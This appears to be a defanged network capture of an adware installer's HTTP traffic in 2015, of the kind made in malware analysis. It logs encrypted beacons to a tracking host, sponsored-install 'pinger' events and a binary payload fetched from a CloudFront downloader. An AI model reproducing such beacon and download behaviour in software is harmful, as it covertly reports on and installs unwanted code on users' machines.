GET /app/ping.ashx?e=A3ANzFv7fWBMy1Jq1olDf90cltsObsHAm681c60PFlv7RH4w/5EvdQk4teRL0v HZuS0/O3oV2pO8QLglJiczkeur3PsxN4KzefGCGWyhdhnIk748hir7Z8Pk9jtfSr7GKzY45zi1OnWyB8eDAkaihrzHkXTPDbIs2bRVJi5NlOrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEbBRuaRLHbXnYB2ZVKHIz0FhMGIcg7YrdhpYbmiunammvdy3KRvJE29p1TwSReNN5E7xKwR3W9AY9/CpuCTIAF0= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:12 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=1ZEnpGuz/ISMcHmf61T/gCGvd gjBe894cIKTRSXbmWRoZJTpqsyZxASc9FSZWyoWTYC2lEyeiS5RWeJcqy7RHOWB7p8fTxpL6yW5mvSlLtYtrOl7BfDWH8SRNladdM9bXKriifhG9zxHHFV7tnwhkh7wLZ3uox395lwett3Vo8TUOAAsHP9e5tsIYcVsX8yR V 1Xe10VZdM9Mh3l9YxZWsNGrNkpFT3Ih1Kfu IMR1mAEZr2jgd8ekaqRbAVTx8JjKZLgwFzG/wC513n 0HRZRXx49nRJ1TcWL70UkzVrp4nRJFoUZgp4Yvmw1YuoPQOGdJX7Ys4OCi0N7aB6YG6hHY oh5wmy9pSoWtDn2v0LZyn40Iw2XsaHUMbF3DUrDVfIJt61BDjd7XhJjAZx5A2eWpXLw36n2GEhN6X9rzK3CmI5sRuAO7g2Hxzmvv3k/qhcYRjcdik7RLm2RtTlS/eJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5GbVYBUSgIm9bT2UTFlaBi3u9/EBC5qbEfSMcbCLfu3pthm4/DN8D9YYjPPjrWd70hsLQeJtebJimrvcVl0Mf/w== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:12 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=eISsn0A7mAahuis9qfwvJZ/TkbZ2czqArWWqhIijSNnZhN5o5pkk8XKxIhAz9YyqMSx1JGlNOutVM62zr1/tcdADEiVewVReUu2ENw3GCyK5YDtbL5acPXscS/rum0dyUP gGlRflyueXXE4oNm6FfjcbTVOKlb2yahRH8NI3UnOryRtAxgTc80Ki/Lj0aHEBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dxdnyqIR9QB0ElKpVRID 2PDZ5alcvDfqfYYSE3pf2vMrcKYjmxG4A7uDYfHOa /eTt4XIZ/A5EvB8kpng0IpIJ HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:13 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=AZwPyJy3TZiu PbZ6jHEZp/TkbZ2czqArWWqhIijSNnZhN5o5pkk8XKxIhAz9YyqMSx1JGlNOutVM62zr1/tcdADEiVewVReUu2ENw3GCyK5YDtbL5acPXscS/rum0dyUP gGlRflyueXXE4oNm6FesaKJdZjPc2 CsHVVmHwIyxiezSykY/Z9jP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb582wDWK7EtoEU bIg4xIYuq nZqXfCJ/fZEh4y553lLc6pAHiQrZRJ aNklSgm6UkKNxr/pz/MJmAZSpRiXLg4A== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:13 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=xZXl1pX5gRndHJbbDm7BwBEZe181bXPh 0R MP RL3UJOLXkS9L/h2bktPzt6FdqTvEC4JSYnM5Hrq9z7MTeCs3nxghlsoXYZyJO PIYq 0kyeawv50oOJw4LO6ub5l5rBjqlmzKnb1Tx2y1fQnwbvamwkcEQSgO2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvnzbANYrsS2gRT5siDjEhi6r6dmpd8In99kSHjLnneUtzqkAeJCtlEn5o2SVKCbpSQo3Gv nP8wmYBlKlGJcuDg HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:13 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/8.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Tue, 24 Feb 20
15 02:01:13 GMT..Content-Length: 0......

GET /app/ping.ashx?e=QHucCbLl /ZGgpLO6W5H3iGvd gjBe8931aIDEs7VjaRoZJTpqsyZxASc9FSZWyoWTYC2lEyeiS5RWeJcqy7RHOWB7p8fTxpL6yW5mvSlLtYtrOl7BfDWDNan7HLQ0t8a50u3XyigpVREcH6lvzpS5NOnjhl29VMiawHEBbFjHDiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmvDlvHUGzrBfE1DgALBz/XubbCGHFbF/MkflftV3tdFWXTPTId5fWMXI1JZoHEDY8ngNCbeLs1yCjhKIPjTcuiw= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:15 GMT

Content-Length: 0

....

GET /pagead/viewthroughconversion/990060061/?random=1142152897&cv=7&fst=1424743400068&num=1&fmt=2&value=0&label=EsmoCKu0jgIQnbyM2AM&bg=FFFFFF&hl=it&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://VVV.easy-burner.com/en/software/install/?campaign=14776&eme=×tamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_present=false&convclickts=0 HTTP/1.1

Accept: text/html, application/xhtml xml, */*

Referer: hXXp://VVV.easy-burner.com/en/software/install/?campaign=14776&eme=×tamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: googleads.g.doubleclick.net

DNT: 1

Connection: Keep-Alive

Cookie: id=caebd6253000002||t=1384780400|et=730|cs=002213fd480c4c2631f7c541a4


HTTP/1.1 302 Found

P3P: policyref="hXXp://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"

Date: Tue, 24 Feb 2015 02:03:00 GMT

Pragma: no-cache

Expires: Fri, 01 Jan 1990 00:00:00 GMT

Cache-Control: no-cache, must-revalidate

Location: hXXp://VVV.google.com/ads/conversion/990060061/?random=1142152897&cv=7&fst=1424743400068&num=1&fmt=2&value=0&label=EsmoCKu0jgIQnbyM2AM&bg=FFFFFF&hl=it&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://VVV.easy-burner.com/en/software/install/?campaign=14776&eme=×tamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_present=false&cdct=2&convclickts=0&random=3598831848

Content-Type: text/html; charset=UTF-8

X-Content-Type-Options: nosniff

Content-Encoding: gzip

Server: cafe

Content-Length: 76

X-XSS-Protection: 1; mode=block

Alternate-Protocol: 80:quic,p=0.08
............(....I.O.T(...I.UJJL.N/./.K.M.../.*)J. .H,J. Q......R`....
h.?...HTTP/1.1 302 Found..P3P: policyref="hXXp://googleads.g.doublecli
ck.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND
 UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"..Date: Tue, 24 Feb 2
015 02:03:00 GMT..Pragma: no-cache..Expires: Fri, 01 Jan 1990 00:00:00
 GMT..Cache-Control: no-cache, must-revalidate..Location: hXXp://VVV.g
oogle.com/ads/conversion/990060061/?random=1142152897&cv=7&fst=1424743
400068&num=1&fmt=2&value=0&label=EsmoCKu0jgIQnbyM2AM&bg=FFFFFF&hl=it&g
uid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_
java=true&u_nplug=0&u_nmime=0&frm=0&url=http://VVV.easy-burner.com/e
n/software/install/?campaign=14776&eme=×tamp=14247432
35116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&ms
o=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en%2
6ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0%2
6sms=0&itime=1424743354&ps=0&p_status=1&vis=1&ctc_id=CAI
VAgAAAB0CAAAA&ct_cookie_present=false&cdct=2&convclickts=0&random=3598
831848..Content-Type: text/html; charset=UTF-8..X-Content-Type-Options
: nosniff..Content-Encoding: gzip..Server: cafe..Content-Length: 76..X
-XSS-Protection: 1; mode=block..Alternate-Protocol: 80:quic,p=0.08....
..........(....I.O.T(...I.UJJL.N/./.K.M.../.*)J. .H,J. Q......R`....h.
?...HTTP/1.1 302 Found..P3P: policyref="hXXp://googleads.g.doubleclick
.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR I<<< skipped >>>

GET /pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=799c97afbeb52f4eabf469c6ed8ad1c0&uniqid=9fd81c119909308d540861e600a43bd3&affiliate_id=easyburnerit&software_id=easyburnerit&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=d1ea4a8c4a1ea55c8ec02fe5822a8e52&tokyo_csrf2_timestamp=1424743227&slot_number=3&index_in_screen=1&index_in_session=3&0.4503510746297179 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/easyburnerit/easyburnerit/799c97afbeb52f4eabf469c6ed8ad1c0?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 02:01:54 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Tue, 24 Feb 2015 02:01:54 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......

GET /pinger?event_type=install_fail&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=799c97afbeb52f4eabf469c6ed8ad1c0&uniqid=9fd81c119909308d540861e600a43bd3&affiliate_id=easyburnerit&software_id=easyburnerit&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=d1ea4a8c4a1ea55c8ec02fe5822a8e52&tokyo_csrf2_timestamp=1424743227&slot_number=3&index_in_screen=1&index_in_session=3&0.5635600176559371 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/easyburnerit/easyburnerit/799c97afbeb52f4eabf469c6ed8ad1c0?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 02:02:00 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked
0......


GET /pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=799c97afbeb52f4eabf469c6ed8ad1c0&uniqid=9fd81c119909308d540861e600a43bd3&affiliate_id=easyburnerit&software_id=easyburnerit&sponsored_id=appshat_madness&tokyo_csrf2_key=d1ea4a8c4a1ea55c8ec02fe5822a8e52&tokyo_csrf2_timestamp=1424743227&slot_number=4&index_in_screen=1&index_in_session=4&0.7773159911475602 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/easyburnerit/easyburnerit/799c97afbeb52f4eabf469c6ed8ad1c0?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 02:02:00 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Tue, 24 Feb 2015 02:02:00 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......

GET /?product=firefox-34.0.5-complete&os=win&lang=en-US HTTP/1.1

Host: download.mozilla.org

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Range: bytes=900000-1199999

Cookie: optimizelySegments={"245617832":"none","245875585":"direct","245677587":"ff","246048108":"false","869421433":"true"}; optimizelyEndUserId=oeu1401956287616r0.2603029596469415; optimizelyBuckets={}; __utma=150903082.1617578787.1401956289.1401956289.1401956289.1

Connection: keep-alive


HTTP/1.1 302 Found

Server: Apache

X-Backend-Server: bouncer5.webapp.phx1.mozilla.com

Cache-Control: max-age=60

Content-Type: text/html; charset=UTF-8

Date: Tue, 24 Feb 2015 02:01:10 GMT

Location: hXXp://download.cdn.mozilla.net/pub/firefox/releases/34.0.5/update/win32/en-US/firefox-34.0.5.complete.mar

Keep-Alive: timeout=3, max=498

Content-Length: 0

Connection: Keep-Alive

X-Cache-Info: cached

HTTP/1.1 302 Found..Server: Apache..X-Backend-Server: bouncer5.webapp.
phx1.mozilla.com..Cache-Control: max-age=60..Content-Type: text/html; 
charset=UTF-8..Date: Tue, 24 Feb 2015 02:01:10 GMT..Location: hXXp://d
ownload.cdn.mozilla.net/pub/firefox/releases/34.0.5/update/win32/en-US
/firefox-34.0.5.complete.mar..Keep-Alive: timeout=3, max=498..Content-
Length: 0..Connection: Keep-Alive..X-Cache-Info: cached..

GET /install.ashx?e=c0XmKevqA0ndHJbbDm7BwIyp m/7a4PRWca3XTKXJfYriJQgYTNdKsv4S/K6mfkWhIAbznvPq9KP4omGccpXw5rIwN71P9KYFvyok9r58R6b87aptZLNDFA1P6i6ssaToXvV0ACP4NMVyaunraoeQQeRzm SyrO9PGH ugOdU1dJ9zwWOe4GWkqTRYdykYznQcOav1fvIInFToJxGXpok7Mp5a5JKLY8X/Ids2k5atVsyKOAeffYe9Vu8F6/WpR4RSC BdF H7Hs7aVvLYdzYdCtLI2jnxFtO2YKgZHX2edYluIlhKckqejXQuHaKGTBrNY0MH32 Vpli0vhDt6hccxbZzrrWlFPRVquFz8IHIPiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmjpB9iJ5C2tEAebAnsXQ5mE= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dfb5uyoqjsg4c.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: application/octet-stream

Content-Length: 1368

Connection: keep-alive

Cache-Control: private,no-cache, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:03 GMT

X-Cache: Miss from cloudfront

Via: 1.1 cd103c18819ef0db201c8a8cb9162bd2.cloudfront.net (CloudFront)

X-Amz-Cf-Id: yRe8gG4kPUJN8s-LP2vY0Y6I7ttgYS7ukXF4ghxyTl7R2gwwcOqF1g==
C.\.S...6....Cn.....~.....5. ..,....$1@.......,...~..]......~m...W0..(
O.G.....|[email protected]._...../5.Qp.A8..~o.6Ei...3...M ..HT.....1g.(/.....D...
...G..ZQ...I......S...z.....EA;./c....... :.EA;./c....^....(..H%V<.
......Q5..W0..(O..9.._.".P..-Q..b...;....Aa....d...c....mu..y..1 .u..P
b['.6Ei...3...M ..HT.....1g.(/.....z.-..8..Aa....d..cT:....W.{..".....
.|........|....&.<..)K.2...._2.S.....?.F.....rlD..i0u...x..u....."I
....?..^.$.o...{.k.K.....q@,(..;.?...a(H#C$..C..R.a..p.Ek9......,..r.c
.........Bv...?..^.$.o...{[email protected].....).Ex_(......|....v....g....)
..(A..7p...1.. . ..{..K...e..q.".....x.Sv...9..c.|.Kn...i...-..u...?'.
,..'p......#...,u.b...L.& ..I....|.D.e...q..t...q...{...ah..].....ab._
.#}....5.X8......1..1...j...........c..7....e...|lB...k......H........
v.c.]....^5..1.].qKV...C. .d.......B..._...$.&>p.0...5.L..'5.....-1
4........*{8......5..#.... ..D<&..fl....'..y.Q..........(V.q.....k.
C....0....:.6T~.C..0.Q..7~I..8......([email protected].]..Vrp.....~%..p/.
y/.R.Q..A.).`..`.r.........*[email protected].]o.x.{.."........J@...
...2A.cO..Q.0...=...?..^.$.o...{.k..\.Z.1_..u..f.D...a(H#C$..C..R.....
.G....([email protected]..#[email protected]......\_{.. .j.R.
. ..._ . ..{..K...e..q.".....x.Sv...9...iN. Z..Z...&M..^..O...M...ac:*
.u}1.....q....Q.p...........P.5z...B.[_........rB..DgS0m.5..#....u.@..
.......E.........`.M.9.V./?.F........\.....7.h.N.&..<<< skipped >>>

GET /css/style.css HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=askihtrj7kmrsqb6nrck15elr5


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 02:02:05 GMT

Content-Type: text/css

Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Expires: Tue, 24 Feb 2015 02:32:05 GMT

Cache-Control: max-age=1800

Content-Encoding: gzip
53f.............X.n.8.=._..1....%.8../s.o.(..9.D..;I.....&jq...4.R.X.{
....$.Z......f.o3JxUN.7w3....x....V...g.x%..UF..R.c]$G%............^..
...b...qvUQU.:Y......K.}/k.......|..1.....n.-S|.8#......l......../..B&
gt;'...#.]../.:!.w.7/......g^.C....3...J...|.e.b...=....2...._...wp...
7....j....I.ee.a.L..{3Y7/....d^....Z.........f6.L..jv.....ql.mA-...Dau
......x.^...........8......:.l..u]1x..7`Z....5.5.`...?.n...-..d.)..)F.
...z..n......"3.Bh...E.r....Nl.W..R%...k..I.... 49`...{ue>.'....L..
...........c.*iN.......?....L.B..%... ...1.b...._....S`.9..S.....B....
.2y.....`.....Zugx.:O)}........C.?]....%......(4...d...... ..0./.!.S..
%.%...d...f.b.J.i..-.][email protected]>0"..(
....L./...4[..;n.x..=.(..A...P.T..AD.X .\x......D.Gq6&p)x.b._...7..D..
.''....C..jA,.......Q..7.. #..3.{...1..p..:..Y....P...0g ..&.......k{.
E....JV.......=..y:[email protected].. `.[.\t"..g8...b*X..aZ...\...'.<Z
/........a..0.v.n..4|.......G.S. D..g7..;.....m./.U..j}`..~....yP...#"
....3;T%.g.1....Y^B.....J.........|..:.s.5.l...C....M.W..fk.......c...
.K..a..}."......n...#....._.iV....u.-d..f...:=..|..T..Nr...E.P6.hK{7..
.r...#=.P..T.6.t...S....x......Oaq........#..:9....5Xa.q{..I!........8
.Z)..BQ.x..?6..{^.<Q...|[email protected].}w...e..!..........(....3..P
..6...M.t..t.Z8%....9.....5...o.H.....P.......c..p..CTu..~..[..PP.....
...... ....la..5 bv.@......|.......0......
<<< skipped >>>

GET /js/scripts.js HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=askihtrj7kmrsqb6nrck15elr5


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 02:02:06 GMT

Content-Type: application/x-javascript

Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Expires: Tue, 24 Feb 2015 02:32:06 GMT

Cache-Control: max-age=1800

Content-Encoding: gzip
1ff.............T.n.0... ...S.!%-b..zp..P.h..g..V....H.9....zDJ.....`.
..vvv..|....52.)..[.w._5.......JW...2.W.*..j.. X.....~} *.>?[]|....
Q..&s.[.....tA.7..D...n.Z!s.^....c|.8..l/..J..w..L).XU'.FLvV.0...w...(
.........s.........S_2....w.V{....|.|.3.".f"....X....v)Gq.g..kG..z6...
.B...E..G.B...........4.k=.h0...4..kJ;.. ........u@.(...M.{ 2:..sa....
...CBx.......:..>k.....T..d1..........'.d.......9.n."...c:quU.tP...
F.:.g.-Z...q{...z....W.Nw...O..4.....x.;y}K...$E.E...T...X..%.Y...-...
....)C=...x......>:....G.&.|......0......


GET /js/lightbox.js HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=askihtrj7kmrsqb6nrck15elr5


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 02:02:06 GMT

Content-Type: application/x-javascript

Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Expires: Tue, 24 Feb 2015 02:32:06 GMT

Cache-Control: max-age=1800

Content-Encoding: gzip
bde.............Zyo.......SUXJ..JR..:....t..q..X.A.P.H..".<|..w....
K...N`.3..y...h...4^o.ev....O...7.4........A....,w.........H..a...^g9.
f9gq...mP.Y:g.q...#...Z...7..."Q../F`$.i.#[email protected].....(.<^V
D..].`,....o..g..D..b..Y.h1:b..s.~YU..l.....y..A..4b...a.W.-...~......
,..e..YP...L.-...$N/.........~.AX..0:...E.....,.?ve.N ...$.....%....U.
.f.fJ./.m.q..(.o.mP..U.)..8...J2.*fb.q..b....M..4..xY. ."/.....|]-yz..
i..7>mF...fZ....';.[..p>.z..$(yQ....HP..Z..z....F..2.,[.0...e1z.
.1.x..#.H).v....e^.e..-N...xJX....$.......B].7.`M.E.oNd.8..]l. ='6....
.../9.&t"..'Y....z...V..MI.o..2..H.Gq...PK^..'...F..!{.R~.=.....v..f.j
.#.e..R.r:c..1v.c...*...>.a.....{........:V,aL.i.VtiI.....'....R.6o
..y-H......{*.:@'IV..rAB..w......a..r.j.....u.A.N?iL'..'..X<.k.b...
...JM.....yY.iS.B.....&.....#.gh.b.C=.X..e...O.k.a..0,..7p..Xr......L.
.%bjcZ.|a.........%3.J..h.h.".[4..T..9$$.n".._.......:...[f..7...^..z.
...|.....6..pt...A,4..s.rg../<.t2.k..<..5/gJb........[-......ow.
.. MP.5$0..........z..3O..].<.n<..v.. ....#..sH...... 8.Q..8L...
...QV..q..B....s7t.]7..1 ........`....V......&...H.ui. ..`..e.$....4..
P..yx,=..1-.n.h..A.#|......^*.....[..t......M.:..V..{R..$"..).?gB.m.lc
n..g.....3.|.c......Nf.o.YN..x..%.2.."_q2!..gy. .......p...}...^.y3...
.Q...p?.aN....=..a.....m.kR(N.=U#....=..Q;r........Y..y..X.!...;..m..!
..7.....6.....%...j.]!.....)V..~.. _.sTo.9..p.._r....d*!...2.F.!.$<
.4....OP..Y...~.8.....(.6....2N......=".......|.U....o........#.[..i.J
.........&....S(.M.......$o.ia.$}.C.}v8..s...U....Ca.^....l...7.. <<< skipped >>>

GET /thumbnails/banner/images/assets/c/1/c16ddcefe8d9f0d1f850dfcd8f36687d.jpg HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=askihtrj7kmrsqb6nrck15elr5


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 02:02:06 GMT

Content-Type: image/jpeg

Content-Length: 59629

Last-Modified: Thu, 13 Jun 2013 18:30:24 GMT

Connection: keep-alive

ETag: "51ba0fc0-e8ed"

Expires: Tue, 24 Feb 2015 02:32:06 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
......JFIF.............`Exif..II*.......1.......&...i...............Pi
casa............0220..................................................
......................................................................
......................................................................
.........................i...........................!..1AQ."aq.#2.BR.
...$3brv......%CSVstu......45Ude.....&DFTcf.............6E............
.......................M..........................".!2.1ABRbqr....#Qa.
....$3......4S...Ìs...5................?..U....hB4!....F.#B.....hB4!
....F.#B.....hB4!....F.#B.....hB4!....F.#B.....hB4!....F.#B.....hB4!..
..F.#B.....hB4!....F.#B.....hB4!....F.#B.....hB4!....F.#B.....hB4!....
F.#B.....hB4!....F.#B.....hB4!....F.#B..........#B.....#B.....hB4!....
F.#B.....hB4!....F.#B.....hB4!....F.#B.....hB4!....F.#B.....hB....C...
..........:rF@'.8...B.E-([email protected].!....B.".........Y4X.z.BU...L7&
0....~...u.(Jg.@l4..........)BQ....go..6...?.:/F.. ..)Z.$....\}.......
..=$.d~.yh...~..N....Q...ZR..X.....}.F>z)BP~...J..$..tR..O....:.*..
).moB...f.....].L.8..o.R....A..........n.?..?ts.*.K..-.q.y...s...c....
..H\.V8.......`.....9...G..l.U..h........_-f..Q......oO...,...PrX.I.&g
t;X.)B..3.@..<r<O..u.(\.....?..mi...xGg.(...?.p.J.x...j......._.
yk.^.R....&H..~~?.B.-..w...FT?A...?.Y..6....U]..-......)B...q........:
)B....:.w~..?w\....................\...H..4!d...|..../"....>Z..'B..
...F.#B.........z..RQ[ig...% .........i.ZG*.<H...h..U......KIW..H&]
...:7.....]IV. ........hB4!....F. ....jKO..).:J.Z:.(....T....>.<<< skipped >>>

GET /thumbnails/banner/images/assets/1/f/1f8ffa22b53dfc2f6b7f1850bb6b73e8.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

